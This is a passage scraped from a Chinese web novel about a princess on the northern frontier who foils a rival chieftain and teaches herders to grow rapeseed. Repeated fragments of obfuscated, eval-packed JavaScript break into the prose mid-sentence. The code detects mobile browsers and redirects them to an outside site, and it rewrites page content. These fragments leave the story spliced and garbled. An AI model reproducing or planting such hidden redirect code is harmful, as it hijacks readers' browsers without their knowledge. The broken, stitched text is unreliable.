l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688653|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有明显的起伏,却仿佛蕴藏着世间最蓬勃的生机。江令舟高大的身躯猛然一震,手掌下的温软触感,像是一道暖流,瞬间击溃了他部分坚硬的铠甲。 “你看,”黎音袅仰头,迎上他复杂的视线,她的声音温柔却充满了力量,“他很坚强,像你。” 帐外风声呼啸,卷起沙石,拍打着营帐,发出沉闷的噼啪声。江令舟的思绪有片刻的恍惚,昨夜灯下,她也是这般看着他,语气轻柔地说:“软肋亦是铠甲。”那时他未曾深思,此刻,这句话却如洪钟大吕,在他脑海中轰然作响。 是啊,音袅和孩子是他的软肋,但也正是因为她们,他才披上了更坚固的铠甲,才有了必须守护的信念。这信念,不该是驱使他走向毁灭的烈火,而应是照亮前路的明灯。 他闭了闭眼,再睁开时,眼中的血色褪去了些许,但那份后怕与滔天的怒意仍旧盘旋不去。他猛地伸出另一只手臂,将黎音袅紧紧揽入怀中,力道之大,像是要将她揉进自己的骨血,像是要把这一生所有的恐惧与庆幸,都倾注在这个拥抱里。 黎音袅在他怀中,感受着他胸膛剧烈的起伏,轻轻拍着他的背。 “苏木用心险恶,她算准了你会为我母子不顾一切。”黎音袅的声音闷闷地从他怀中传来,“她要的,是你失去冷静,是你自乱阵脚。” 江令舟没有说话,只是收紧了手臂。他何尝不知,只是那股被触及逆鳞的狂怒,几乎要吞噬他所有的理智。 “李夫人曾无意间听过苏木与其心腹的对话。”黎音袅继续道,她的声音像是一剂镇静剂,缓缓注入他狂躁的脉搏,“苏木曾言,对付你这种悍将,硬碰硬是下策。最好的法子,便是寻到你的软肋,狠狠一击,让你方寸大乱,自投罗网。” 江令舟闻言,揽着她的手臂微微一僵。苏木……竟是如此算计他! 他缓缓松开黎音袅,低头看她,眼神复杂:“她以为,这样就能拿捏我?” “她以为能。”黎音袅直视他的眼睛,“她以为你会像一头被激怒的猛兽,不顾一切地冲进她的陷阱。她甚至可能已经备好了数套说辞,只等你出兵,便可将挑起战端的罪名尽数扣在你头上,扣在大楚头上。” “她敢!”江令舟牙关紧咬,每一个字都像是从齿缝中迸出。怒火依旧,却多了一层冰冷的审慎。 第154章不会甘心 “她自然敢,她连落子散都用得出来,还有什么不敢的?”黎音袅反问,语气平静却带着刺骨的寒意,“令舟,愤怒是必要的,但不能让愤怒驾驭我们。苏木要的是一场混战,一场能让她浑水摸鱼、甚至反噬我们的混战。我们不能如她所愿。” 江令舟沉默着,帐内的气氛依旧凝重。他胸中的暴戾之气并未完全消散,但那股玉石俱焚的决绝,却在黎音袅的话语中,渐渐沉淀下来,化为更深沉、更危险的杀意。 “你说得对。”他终于开口,声音依旧冷硬,却不再是全然的失控,“苏木要**心计,我便陪她玩玩。她想看我失控,我偏要让她看看,什么是真正的绝望。” 他抬手,轻轻抚过黎音袅的脸颊,动作带着一丝不易察觉的颤抖:“你和孩子,是我的一切。我不会再给任何人伤害你们的机会。” 黎音袅握住他的手,用力点头:“我知道。” “苏木的主帐……”江令舟的视线转向帐外,那里是苏木营地的方向,“她以为我只会提枪冲杀过去吗?”他嘴角勾起一抹冰冷的弧度,“传令下去,”他声音陡然拔高,对着帐外扬声道,“命斥候营严密监视苏木部落一切动向,特别是她主帐周围!任何异动,即刻来报!” 帐外亲兵沉声应诺:“是,将军!” 江令舟收回目光,重新看向黎音袅:“她既然设了局,必然有所依仗。我要看看,她的依仗到底是什么。”他顿了顿,眼中闪过一丝狠厉,“待我将她的布置摸清,再送她一份大礼。” 这已不是单纯的复仇,而是猎人与猎物之间,更为冷静和残酷的博弈。 黎音袅看着他,心中那块大石终于缓缓落下。他还是那个杀伐果决的江令舟,只是此刻,他的怒火被理智的缰绳牢牢掌控,化作了更为致命的武器。 “你要小心。”她轻声叮嘱。 江令舟嗯了一声,扶着她坐下:“你好好歇息,莫要再劳心费神。剩下的,交给我。” 三日后,北疆大营内,一则消息如春雷般炸开,迅速传遍了每一个角落。 军医赵叔颤巍巍地收回为长公主黎音袅诊脉的手,对着一旁面色沉凝的江令舟,一字一句道:“将军,长公主确系有孕,且脉象沉稳有力,胎儿康健。” 江令舟紧绷的下颌线条略微松弛,他挥退了帐内其余人,只余他和赵叔。 “此事实在是……”赵叔欲言又止,他深知此刻北疆局势,长公主有孕,既是天大的喜事,亦是潜藏的危机。 “赵叔费心了。”江令舟的声音听不出太多情绪,“此事,不必刻意隐瞒。” “是,将军。”赵叔躬身退下。他明白,将军这是要将此事公之于众。 消息很快便如长了翅膀,先是在亲卫营中传开,而后是各部将领,再到普通士卒。起初是窃窃私语,而后是压抑不住的低声议论,最终化为一片心照不宣的了然。长公主有孕,对这些久经沙场的将士而言,无疑是一剂强心针,让他们更坚定了守护这片土地和未来储君的决心。 与此同时,百里之外的苏木部落主帐内,气氛却截然不同。 苏木盯着手中那张薄薄的密报,纸上的字迹简短而清晰,每一个字都像淬了毒的针,扎在她心上。片刻的死寂后,她忽然爆发出一阵大笑,笑声尖锐而狂放,震得帐顶的狼皮装饰簌簌发抖,悬挂的酒囊也跟着晃动。 “哈哈哈!好个黎音袅!好个将计就计!”苏木猛地收住笑,眼中闪烁着野兽般的光芒,“原来那几日病恹恹的模样是装出来的!假孕是饵,真孕才是她藏的杀招!” 她身旁的心腹首领阿古拉低声道:“首领,那我们之前送去的落子散……” “落子散?”苏木冷笑一声,指尖用力,那张密报在她手中化为碎屑,“怕是早就被她识破,甚至将计就计,引我以为她真的不堪一击,放松警惕!” 她踱了数步,猛然停下:“她以为这样就能赢了我?以为怀了个孩子,江令舟就会变成缩头乌龟?” 苏木的语气中充满了不屑与狠戾:“传我命令,盯紧江令舟的动向。孩子……孩子越大,便越是明显的软肋!江令舟,我看你这铁打的汉子,还能硬气多久!” 阿古拉垂首:“是,首领。只是……若我们再对有孕的长公主下手,恐怕会激起大楚更大的怒火,于我们名声不利。” “名声?”苏木嗤笑,“在这片草原上,只有胜者才有资格谈名声!败犬的哀嚎,谁会去听?她黎音袅敢用自己的孩子做赌注,我苏木难道还怕陪她玩不起吗?”她眼中闪过一丝阴鸷,“江令舟不是派了斥候日夜监视我吗?那就让他们看个清楚,我苏木,从不受人胁迫!” 此刻,大楚营地的瞭望台上,朔风猎猎,吹动着黎音袅的披风。 春禾小心翼翼地搀扶着她,轻声道:“主子,风大,仔细身子。” 黎音袅微微颔首,目光投向远方,那里是牧民聚居的毡帐群,炊烟袅袅,在苍茫的天地间,透着几分安宁。她轻轻抚上尚且平坦的小腹,唇角扬起一抹旁人难以读懂的弧度。 “春禾,你说,这孩子是不是来得很巧?”她的声音很轻,几乎要被风吹散。 春禾一怔,随即道:“主子洪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎音袅轻轻点头,将手覆在他的手背上。 此刻,他们是并肩作战的同伴,也是彼此最坚实的依靠。而那个尚未出世的孩子,便是他们共同守护的希望,亦是他们对抗一切阴谋诡计的底气。 苏木的算计,江令舟的隐忍,黎音袅的将计就计,三方角力,使得北疆的局势愈发波谲云诡。一场围绕着血脉与权谋的暗战,已然拉开了序幕。 江令舟握紧了黎音袅的手,没有再多言。 第155章一起种 车架停稳时,毡帐外嬉闹的孩童倏然安静,好奇地望过来。 黎音袅扶着春禾的手下车,几名亲卫已将数只沉甸甸的木箱卸下。她走到箱前,亲自打开一只,抓起一把色泽青翠的油菜籽。“姐妹们,过来看看。” 几个胆大的妇人互相推搡着,慢慢聚拢。 “这是中原的油菜籽,”黎音袅的声音温和,散去几分平日的清冷,“易活,耐寒。顺利的话,三个月就能收成。到时候,嫩苗可以当菜吃,籽能榨油。”她顿了顿,补充道:“吃不完的,军中也会收购。” 此言一出,人群中起了些微骚动。食物,油,还能换钱,这些字眼对常年与风沙牛羊为伴的牧民而言,诱惑不小。 一名抱着孩子的年轻妇人怯生生地问:“长公主,这……这东西真能种活?咱们这地,可金贵着呢,种了草都不一定长好。” “能不能活,试了才算。”黎音袅并不急于说服,她弯下腰,从侍卫手中接过一把小巧的铁锹,在众人面前,亲自翻动起一块空地上的泥土。泥土干燥板结,她却不见半分嫌弃。 “我陪你们一起种。”她抬头,阳光恰好落在她发间的银饰上,映得她眼底一片柔光,“等收成了,你们就知道了。以后,叫我音袅就好。” 江令舟立在不远处的沙丘上,北风吹起他玄色衣袍的下摆。他看着黎音袅沾了泥土的指尖,看着她耐心地向牧民解释着什么,神情专注。 这场景,何其熟悉。 多年前,她初入军营,也是这般,用最直接,甚至有些笨拙的方式,教那些大字不识的兵卒认字、写自己的名字。那时候的她,眉宇间尚有挥之不去的郁色,却依旧执拗地做着自己认定的事。 他当时不懂,只觉得她多此一举。如今想来,那些看似无用之功,却在潜移默化中,为她聚拢了最初的人心。 “音袅姑娘,”一个苍老的声音响起,人群自动分开一条路,一位头发花白、满脸皱纹的牧民老者拄着拐杖走出来,他身后跟着几个神色各异的壮年男子。 老者先是依着礼节微微躬身,随即道:“您是贵人,心善,我们都知道。可这地,不是这么用的。” 黎音袅直起身,看向老者,并不因对方的质疑而动怒。“老丈请讲。” “我们是牧人,靠的是牛羊马匹,逐水草而居。”老者声音不高,却带着岁月的沉淀,“这片草场,养活了我们几代人。若是都翻了种这些……东西,万一不成,牛羊吃什么?人吃什么?” 他身后的一个汉子忍不住接话:“就是!前些年也有汉官来说要我们种粮食,结果呢?种子下了地,连个芽都没见着,白瞎了功夫!” “对啊,咱们这地邪性,只长草!” “别是想骗我们把草场都毁了吧?”人群中,细碎的议论声渐起,带着怀疑与不安。 春禾有些紧张,想开口替黎音袅辩解。 黎音袅抬手止住了她。她很平静:“老丈说得有理,各位的顾虑,我也明白。”她环视众人,“我没想让大家把所有草场都翻了。我们可以先选一小块地试试,就在你们毡帐附近,方便照看。我带来的种子不多,也只够试种。” 她指着那些木箱:“这些油菜籽,是我个人的一点心意。成了,大家多个进项,多个活路。不成,损失的也只是这一小片地,误不了你们放牧。” “音袅姑娘,”老者依旧审慎,“您为何要如此费心?” 黎音袅浅浅一笑:“因为我也是大楚的子民,与各位一样,盼着日子能好过些。北疆安稳,人人有饭吃,有衣穿,这不好吗?”她的话不激昂,却实在。 “再者,”她话锋一转,“如今苏木在外虎视眈眈,若战事一起,各位的日子只会更难。多一条生计,便多一分底气。” 提及苏木,人群安静不少。那是悬在北疆所有人心头的一把刀。 江令舟看着黎音袅不疾不徐地应对,心中微动。她早已不是当年那个只凭一腔孤勇行事的女子了。如今的她,有手段,有城府,更有远见。 “若真能种出油,榨了油, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎音袅蹲在那片新垦的试耕地旁,指尖捻起一小撮新翻的泥土,土质尚可,只是沙砾多了些。北疆的风从未停歇,细沙扑面,她眯了眯眼,眸中的光彩却愈发明亮。她身后,几个牧民汉子刚歇了力气,正擦着汗,好奇又带些审慎地望着她。 她站起身,接过春禾递来的木犁,那犁头磨得光亮,却依旧沉重。她握紧犁柄,亲自走进田垄示范:“这油菜,喜水,却也最忌水涝。所以这垄沟,得这么斜着开,深浅也要适中,方便排水,也方便将来浇灌。”她一边说,一边使力,犁铧破开沙土,留下一道笔直的沟痕。衣袖早已挽起,此刻袖口处沾满了泥土和草屑,与她素日里干净整洁的模样大相径庭。 牧民们围蹲成一个不甚规整的圈,先前那位年轻妇人正领着几个妇孺,用一个小小的羊皮袋分装着泡发好的油菜籽,颗颗饱满,泛着油光。几个半大的孩童则追逐着一个滚落在地上的空陶罐嬉闹,清脆的笑声给这片肃杀的土地添了几分生气。春禾抱着绳尺,在田间来回穿梭,仔细丈量着,确保每一条田畦都整齐划一。 “音袅姑娘,这般金贵的身子,做这些粗活……”那年轻妇人名唤萨仁,见黎音袅额角渗汗,有些不忍地开口。 黎音袅停下动作,将木犁交给旁边一个跃跃欲试的年轻汉子,笑道:“萨仁嫂子,地认人,也认手。我不亲自试试,怎知其中关窍?再说,这活计,将来还要靠大家。” 一个皮肤黝黑,瞧着约莫三十出头的壮实汉子,名唤巴图,是萨仁的丈夫。他一直闷声不响地看着,此刻终于忍不住开口,声音带着北地汉子的粗嘎:“姑娘,俺们祖祖辈辈都是放羊牧马,这地里刨食……说实话,心里没底。这油菜籽,真能比得上牛羊?”他不是质疑,更多的是一种根深蒂固的忧虑。 周围顿时安静下来,连孩子们的嬉闹声都小了些。这确实是所有人心中的疑问。 黎音袅走到他面前,目光平和:“巴图大哥,牛羊自然是北疆的根本。但你想想,若遇上雪灾,或是苏木来犯,牛羊大批**,咱们靠什么活下去?”她顿了顿,语气沉静却有力,“这油菜,种好了,榨出的油,军中会收,百姓自家也能用。多一条路,总不是坏事。至于能不能比得上牛羊,现在说为时尚早,但它至少能让我们在牛羊之外,多一份指望,多一份嚼用。” 她指着那刚刚开出的垄沟:“这地,看着贫瘠,但油菜耐活。只要用心侍弄,总会有收成。我知道大家担心白费力气,所以才先试种这一小片。成了,是大家的福气;即便不成,损失的也不过是些种子和几日功夫,误不了放牧。” 萨仁在一旁接口:“是啊,当家的,音袅姑娘是真心为我们好。长公主都拿名誉担保了,还能有假?” 巴图挠了挠头,看了一眼默不作声的老者,又看看黎音袅,脸上的疑虑并未完全消散:“俺不是信不过姑娘……只是这天时地利,也不是人能说了算的。万一雨水不足,或者……” “雨水不足,我们可以想办法引水。若是有虫害,我也会教大家如何防治。”黎音袅打断他,语气带着不容置喙的意味,“办法总比困难多。巴图大哥,你连试一试的勇气都没有吗?” 这话有些重,巴图的脸微微涨红。他是个好猎手,也是个好牧人,何曾被人说过没有勇气。 江令舟一直立在不远处的田埂上,将这一切尽收眼底。阳光将黎音袅的脸颊晒得有些微红,汗水濡湿了她额前的发丝,紧贴在光洁的皮肤上。他忽然想起许多年前,初见她时,是在宫中盛大的庆功宴上。那时的她,一袭华服,清冷如月,言笑间自有皇家威仪,裙摆精致,绝不会沾染半分尘埃泥星。与眼前这个挽着袖口,亲自扶犁,耐心与牧民分说的女子,判若两人,却又奇异地重合。 他心中微动。她不再是那个只凭一腔热血的少女了。 “咳,”老者终于清了清嗓子,拐杖在地上轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699767|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻一点,“巴图,音袅姑娘说得在理。凡事都有个开头。既然是试种,便放宽心去做。听姑娘的,把这垄沟再挖深些。” 老者发了话,巴图纵有再多疑虑,也只能咽下,闷闷地应了一声:“哎,知道了,阿爷。”他接过另一个汉子手中的木犁,开始依着黎音袅方才示范的模样,笨拙却也卖力地干起来。 见状,其余几个汉子也纷纷拿起工具。气氛重新活络起来。 黎音袅唇角微扬,走到一个正好奇地戳着垄沟里松土的小男孩身边,那孩子正是上次大胆向她讨要种子的虎头小子。她蹲下身,柔声道:“喜欢这里吗?” 小男孩用力点头,指着地里:“娘说,这里会长出香香的油!” “对,会长出很多很多香香的油。”黎音袅笑着摸了摸他的头。 江令舟踱步过来,在她身旁站定。风吹起他墨色的衣袍,猎猎作响。 “你似乎总有办法让他们听你的。”他开口,声音不高,却清晰。 黎音袅拍了拍手上的虚土,抬眼看他,眼中带着一丝戏谑:“怎么,江将军觉得我这是在蛊惑人心?” 江令舟不答,只是道:“苏木那边,最近的动作越来越频繁。我担心他们不止是试探。”他压低了声音,只有两人能听见。 黎音袅脸上的笑意淡了些,她望向远处连绵起伏的沙丘,那里是北疆的屏障,也是悬在头顶的利剑。“我知道。所以我们更要快。”她收回目光,重新看向这片承载着希望的土地,“让他们有饭吃,有衣穿,心才能定。心定了,北疆才能真正安稳。” “你就不怕……竹篮打水一场空?”江令舟问,他见过太多徒劳的努力。 “怕。”黎音袅坦然承认,“但我更怕什么都不做。”她弯腰拾起一块被孩子们踢远的陶罐碎片,随手扔到田埂之外,“将军,你守你的边防,我种我的地。各司其职,看看最后是谁能让这北疆换个活法。” 第157章 开荒 江令舟看着她沾着泥土的指尖,片刻,从怀中取出一个小小的布包,递过去。 黎音袅接过来,打开,是两块干净的粗布巾。 她用一块擦了擦手,又擦了擦额上的汗。 “斥候方才又传回消息,”江令舟的声音没有起伏,“苏木的一支小队,昨夜越过了黑山隘口,劫掠了一个小部落的羊群,烧了他们的帐篷。” 黎音袅的动作停住,布巾被她攥紧。 “伤亡如何?” “**三人,都是老弱。羊群被抢走大半。”江令舟道,“他们没有深入,抢完就退回去了。” 黎音袅沉默下来,北疆的风仿佛也带上了血腥气。她慢慢将布巾叠好,放入袖中。 “所以,”她抬起头,直视着江令舟,眼中那抹因劳作而染上的疲惫被一种冷冽的光取代,“我们的油菜,必须成功。我们的粮食,必须自给。” 她转身,走向那群正干得起劲的牧民。 “大家加把劲!今日争取把这片地都翻整好,明日好下种!” 江令舟看着她的背影,纤细却挺拔。他没有再说什么,只是目光落在那片新翻的土地上,若有所思。这片地,太小了。这点人,也太少了。 三日后,试耕地冒出嫩黄芽尖。 黎音袅蹲在田边,用一截细细的树枝轻轻拨开被山雀啄乱的浮土。几点嫩黄色,顽强地顶出沙面。 蹄声橐橐,带着特有的迟缓。老牧民阿吉牵着他那只瘸腿的小羊羔,慢慢走近。他先是привычно地扫了一眼那片地,随即浑浊的眼珠凝滞了,然后,那双眼中爆发出一种难以置信的光亮。 “真……真活了?”阿吉的声音沙哑,带着风霜的粗粝,“这沙窝窝里,真能长出东西?” 黎音袅抬首,对他微微一笑:“活了。你看。”她用树枝点了点那些幼弱的黄点。 阿吉俯下身,凑得极近,仿佛要将那几点嫩黄吸进眼里。他伸出粗糙的手,想碰,又猛地缩回,生怕自己一口气便吹散了这脆弱的生机。 “老天爷……”他喃喃,声音里有种近乎哽咽的激动,“我阿爷的阿爷都没见过沙地里长庄稼!” 黎音袅站起身,解下头上系着的布头巾,小心翼翼地覆盖在一小片最密集的幼苗上,用几块小土坷垃压住边缘。 “头茬苗娇贵得很。”她轻声解释,“得防着夜里那阵子倒春寒的霜,白日里还得防着这些嘴馋的山雀。它们可精明,专挑嫩的啄。” 阿吉怔怔看着那块布头巾,又看看其余露在外面的芽尖,脸上是一种混杂着狂喜与深忧的神情。“那……那能成吗?就这么点点……” “事在人为。”黎音袅拍了拍手,“总得试试。” 这消息像是长了翅膀的沙雁,一夜之间便传遍了左近的帐篷。 起初是三三两两的观望,接着,便有人扛着家中仅有的木犁或是铁锹过来了。先是一个,然后是几个,最后,竟聚起了二三十个汉子妇人。 “黎姑娘!”一个唤作巴图的壮实汉子嗓门洪亮,他扛着一把磨得发亮的木锹,“俺们听说了!那金疙瘩发芽了!” 另一个年轻些的牧民急切地问:“黎姑娘,是真的吗?俺们能瞧瞧不?”他身后,几个半大的小子也伸长了脖子。 黎音袅指了指那片新绿:“是真的。不过还小,金贵着呢。” 巴图将木锹往地上一顿,发出“咚”的一声闷响:“黎姑娘,这地太少了!俺们……俺们也来搭把手!帮你把地拓宽些!” “对!俺们也来!”人群中立刻响起一片附和。 “不能光看着黎姑娘一个人忙活!” “要是真能种出油,俺娃子冬天脸上就不会裂口子了!”一个妇人红着眼圈说。 另一个老者叹息:“老婆子总念叨,说她娘家那边,地里能长出吃的。俺以前不信,这北疆,除了沙子就是石头……”他说着,望向那片浅黄的希望,话语里多了几分颤抖。 黎音袅看着他们,看着他们眼中闪动的光,那是比阳光更灼人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699768|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。这些面孔,昨日还带着麻木与观望,今日却写满了急切与渴望。 “活计可不轻省。”她开口,声音平静,“而且,能不能收到粮食,现在谁也说不准。” “不怕!”巴图拍着胸脯,“北疆的汉子,还怕力气活?黎姑娘你只管吩咐!” “只要能让这地里长出东西,再苦再累,俺们也认!” 黎音袅缓缓颔首:“好。那我们就把这片地,再往外拓一拓。大家小心些,别踩着刚出的苗。” 人群中爆出一阵欢呼,铁器与木器的碰撞声,吆喝声,瞬间将这片沉寂的沙地搅得热火朝天。先前那种压抑在心头的沉闷一扫而空,取而代之的是一种蓬勃的、近乎孤注一掷的劲头。 江令舟立在营寨最高的瞭望台上。 北风如常,卷起他玄色的袍角。台下,原本单调的沙地景象,此刻却有了全然不同的色彩。星星点点的人影在其间移动、挖掘,那片新翻垦的土地,正以肉眼可见的速度向四周铺展。 他听到了寨墙外的喧闹,也接到了部下关于“地里长芽”的禀报。他并未觉得荒唐。对于黎音袅决心要做的事,无论听起来多么不切实际,他已学会了不轻易否定。 副将赵迁走上前来:“将军,那些牧民……都去帮着开荒了。” 江令舟“嗯”了一声,并未回头。 赵迁脸上带着几分未消的讶异:“真是奇了。前些日子,他们还都懒懒散散的。” “期盼是剂猛药,赵迁。”江令舟的声音没有波澜。 他凝望着黎音袅在人群中穿梭,时而指挥,时而俯身亲自动手。她的身影在广阔的天地间显得那样纤弱,却又是那一切忙碌的轴心。 那些深色的、新垦的土地,带着湿润的泥土气息,与周遭无垠的黄沙形成了强烈的对比。 他想起她说过的话:“让他们有饭吃,有衣穿,心才能定。心定了,北疆才能真正安稳。” 这就是她所谓的“定心”之法?靠着这般在沙土中刨食? 第158章 希望 他曾统率千军,也曾督造坚城。眼前这一切,却给他一种截然不同的感受。它更安静,却似乎蕴藏着更为宏大的图谋。 那片嫩绿,倘若真能在这片土地上扎下根,蔓延开来,那便不仅仅是作物。它会是一种昭示,证明此地的生计,可以不仅仅是挣扎求存,不仅仅是对抗风沙与劫掠的无尽循环。 他开始领会,她是在北疆这些人的心底播种。播种一种对“安稳”的向往。这两个字,在这片苦寒之地,早已快成了传说。 黎音袅直起身,用手背抹去额角的汗珠。她似乎朝瞭望台的方向望了一眼,尽管隔着这么远,她未必能清晰看见他。 他想起了那个装着粗布巾的小布包。一个务实的举动。而她现在所做的,以其异想天开的方式,同样务实。 “或许,”他低语,声音轻得只有风能听见,“这便是另一种边防。” 赵迁在旁,只觉将军今日有些异样,却也不敢多问。 三个月,弹指一挥。昔日种下的星星点点,已汇成一片金黄的浪潮。 榨油坊就建在营寨旁,简陋却坚固,原木的清香尚未散尽。今日,这里是整个北疆营地的中心。 黎音袅站在巨大的木榨前,额上渗着细密的汗珠,混着空气中菜籽独有的浓郁香气。她挽着袖子,亲自检查着每一个环节。巴图和几个壮实的汉子,嘿哟嘿哟地喊着号子,推动着粗壮的榨杆。 “慢些,再慢些!”黎音袅扬声道,声音里带着一丝难掩的紧张。 人群屏息,所有人的视线都汇聚在木榨那小小的出油口。 终于,一滴,两滴……琥珀色的油液,浓稠地、缓缓地,从木缝中渗出,滴落进下方的陶盆。 “出油了!出油了!” 不知是谁先喊了一声,人群瞬间沸腾。欢呼声几乎要掀翻榨油坊的屋顶。 一个年轻妇人挤到最前面,她怀里抱着孩子,自己的嘴唇干裂得像是要渗出血来。她望着那油,喃喃道:“这油……能用吗?” 旁边一个上了年纪的阿婆立刻接话:“傻孩子,这可是菜籽榨出来的油,宝贝着呢!比羊奶金贵!” “黎姑娘,”妇人期盼地看向黎音袅,“能不能……能不能给我一点点?娃儿的脸蛋,还有我的嘴,都裂得疼。” 话音未落,一个粗犷的声音响起:“我说大妹子,这油才刚出,金贵得很!得先紧着有用的地方!我的马鞍子再不抹油,就要废了!”说话的是个老牧民,一脸风霜,牵着马匹是他们的生计。 “对啊,这油要是能点灯,晚上咱们也能多编些草席!” “还能不能吃了?吃了能顶饿不?” 七嘴八舌的议论声,带着对未知事物的好奇与对实际用途的渴望,瞬间将喜悦的气氛冲淡了几分,添了些许急切。 黎音袅抬手,示意大家安静。 “乡亲们,这油,是我们自己种出来的,自然能用。”她声音清亮,“这位嫂子,”她转向那位年轻妇人,“你等等。” 她取过一个小陶碗,小心翼翼地在木榨下接了浅浅一汪,递给那妇人:“先给孩子和你自己润润唇。这油,不比羊奶差。” 妇人双手颤抖地接过,指尖蘸了些许,先是小心地抹在孩子干红的脸颊上,然后才轻轻点在自己裂开的唇瓣。她抿了抿,脸上露出惊喜:“真润!比羊奶还润!” 孩子似乎也觉得舒服,咯咯笑起来。 黎音袅又看向那位老牧民:“老丈,马具要保养,灯也要点。但今天,是我们第一次见到自己土地上出的油。这第一碗油,我们不急着用在物件上。”她顿了顿,环视众人,“我们先用它,感受这土地的回报。” 她让巴图又接了一些油,分给几个年长的老人和孩子。 “大家尝尝,这是我们北疆沙地上,长出来的甘露!” 众人小心翼翼地用指尖蘸取,或抹唇,或轻嗅。那股带着泥土和阳光气息的油香,似乎有一种奇异的抚慰人心的力量。 方才还有些躁动的人群,此刻安静下来,脸上是满足与敬畏。 那先前嚷着要油擦马具的老丈,此刻也咧开嘴,接过旁边人递来的一块蘸了油的粗布,小心地擦拭着自己那副旧马具的皮带。他一边擦,一边笑,脸上的褶子像盛开的菊花:“这下不怕皮具开裂了!好油,好油啊!” 江令舟倚在榨油坊的门框上,风吹起他衣袍的一角。他看着黎音袅被人群簇拥着,她没有多余的话,只是安静地看着人们的笑脸。不知是谁,摘了路边不知名的野花,插在了她的发间。那小小的花朵,在粗布衣衫的映衬下,有一种别样的生动。 她似乎感应到了什么,忽然回头。 两人的视线在喧闹的人声中撞在一处。 她的眼底,是藏不住的骄傲与亮采,像这初榨的菜籽油一般,清澈而明亮。这是一种全然不同于战场厮杀后获得的勋功,却同样耀眼。 江令舟心中微微一动。 这就是她用半年时间,在这片北疆荒漠中,硬生生开辟出的……温柔乡。 他想起她曾说过“让他们有饭吃,有衣穿,心才能定”。如今,这油,或许还不能让所有人立刻吃饱穿暖,但它点燃了更珍贵的东西。 “将军,”赵迁不知何时来到他身边,声音里带着压抑不住的惊叹,“末将从未想过,沙子里……真能榨出油来。” 江令舟“嗯”了一声。 “那些牧民,现在都把黎姑娘当活菩萨了。”赵迁继续道,“有了这油,往后日子就好过了。” “好过?”江令舟重复了一句,声音很轻,“或许吧。”他想,这不仅仅是“好过”那么简单。这油,是种子,播在人心里,会生根发芽,长出比油菜更坚韧的东西。 他看着黎音袅又开始指挥众人如何储存新油,如何安排下一轮的压榨。她的身影依旧纤弱,却像一根定海神针,稳住了这片曾经只有绝望的土地。 这片土地,真的能成为另一种边防吗? 江令舟没有答案,但他愿意等下去。 黎音袅似是交代完了事情,又朝他的方向望了一眼,唇边带着浅淡的笑意,旋即转身,继续忙碌。 第159章 求种子 驼铃声由远及近,打破了榨油坊周围的热闹。一支规模不小的驼队出现在沙丘的尽头,为首的男人身形魁梧,皮帽下露出的面容饱经风霜,眼神却锐利如鹰。 “是图雅部落的人。”赵迁低声对江令舟道,“他们这时候来做什么?” 江令舟未语,视线落在那些骆驼上,它们背上驮着皮毛和鼓囊囊的袋子,看样子是药材。 图雅部落的首领阿古拉翻身下马,动作利落。他身后跟着几个族人,捧着带来的礼物,径直走向人群中的黎音袅。 “长公主。”阿古拉声音洪亮,带着草原的开阔,他目光扫过那些绿油油的油菜田,又落在田边忙碌说笑的人们身上,“听闻长公主在此教人种油,我们图雅部落,也想试试。” 黎音袅正和几个老人讨论着如何分配油饼作饲料,闻言,她直起身,拍了拍手上的尘土,迎上前去:“阿古拉首领,欢迎。图雅部落也想种油菜?” 她一边说,一边习惯性地从袖中掏东西,似乎想擦手。动作间,一块干硬的、只啃了小半的饼子从她宽大的袖口滑落,“啪嗒”一声掉在沙土地上。 饼子沾了尘土,更显粗粝。 空气有片刻的凝滞。 黎音袅自己也愣了下,脸上闪过一丝不自在,正要弯腰。 一只修长的手比她更快,拾起了那半块饼子。江令舟不知何时已走到近前,他取出一方干净的帕子,仔细擦拭着饼上的沙尘,然后递还给黎音袅:“早上风大,饼容易干。” 他的声音平静,动作自然,仿佛这只是一件再寻常不过的小事。 黎音袅接过饼子,指尖无意中触碰到他温热的指腹,也碰到了他帕子上清冽的皂角香。她指尖的薄茧,粗糙而真实。她低声道:“多谢。”旋即将饼子重新塞回袖中,仿佛那是什么珍馐。 